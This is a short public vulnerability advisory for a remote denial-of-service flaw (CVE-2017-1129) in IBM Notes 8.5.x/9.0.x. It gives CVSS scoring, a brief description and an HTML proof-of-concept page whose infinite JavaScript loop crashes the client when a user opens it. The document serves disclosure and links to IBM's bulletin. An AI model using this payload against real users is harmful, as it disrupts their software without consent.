IBM Notes 8.5.x/9.0.x Denial of Service

2017.09.04
Credit: Dhiraj Mishra
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: IBM Notes is affected by a denial of service vulnerability # Date: 31 August 2017 # Software Link: https://www-01.ibm.com/support/docview.wss?uid=swg24037141 # Exploit Author: Dhiraj Mishra # Contact: http://twitter.com/mishradhiraj_ # Website: http://datarift.blogspot.in/ # CVE: CVE-2017-1129 # Category: IBM Notes (Console Application) 1. Description IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted. 2. Proof of concept <html><head><title></title> <script type="text/javascript"> while (true) try { var object = { }; function g(f0) { var f0 = (object instanceof encodeURI)('foo'); } g(75); } catch (g) { } </script> </head></html> 3. IBM Security Bulletin www-01.ibm.com/support/docview.wss?uid=swg21999385


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